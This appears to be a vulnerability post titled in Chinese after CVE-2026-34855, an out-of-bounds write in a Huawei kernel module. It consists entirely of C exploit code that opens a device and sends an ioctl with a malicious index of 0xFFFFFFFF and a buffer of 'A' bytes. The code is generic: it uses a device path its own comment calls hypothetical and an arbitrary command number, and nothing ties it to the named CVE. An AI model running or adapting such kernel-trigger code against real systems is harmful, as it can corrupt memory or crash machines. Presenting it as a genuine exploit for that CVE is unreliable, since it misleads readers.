CVE-2026-34855 华为内核模块越界写入漏洞

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // Define the vulnerable command and buffer size #define VULN_IOCTL_CMD 0x8001 #define BUFFER_SIZE 0x100 struct exploit_data { int index; char data[BUFFER_SIZE]; }; int main() { int fd; struct exploit_data exp; // Open the vulnerable device (hypothetical path) fd = open("/dev/vulnerable_hw_module", O_RDWR); if (fd < 0) { perror("Failed to open device"); return -1; } printf("[+] Target device opened.\n"); // Prepare malicious payload to trigger out-of-bounds write // Setting a large index or size to bypass boundary checks exp.index = 0xFFFFFFFF; // Malicious index memset(exp.data, 0x41, BUFFER_SIZE); // Fill with 'A' printf("[+] Sending payload to trigger out-of-bounds write...\n"); // Trigger the vulnerability via IOCTL if (ioctl(fd, VULN_IOCTL_CMD, &exp) < 0) { perror("IOCTL failed"); close(fd); return -1; } printf("[+] Exploit trigger sent. Check system status.\n"); close(fd); return 0; }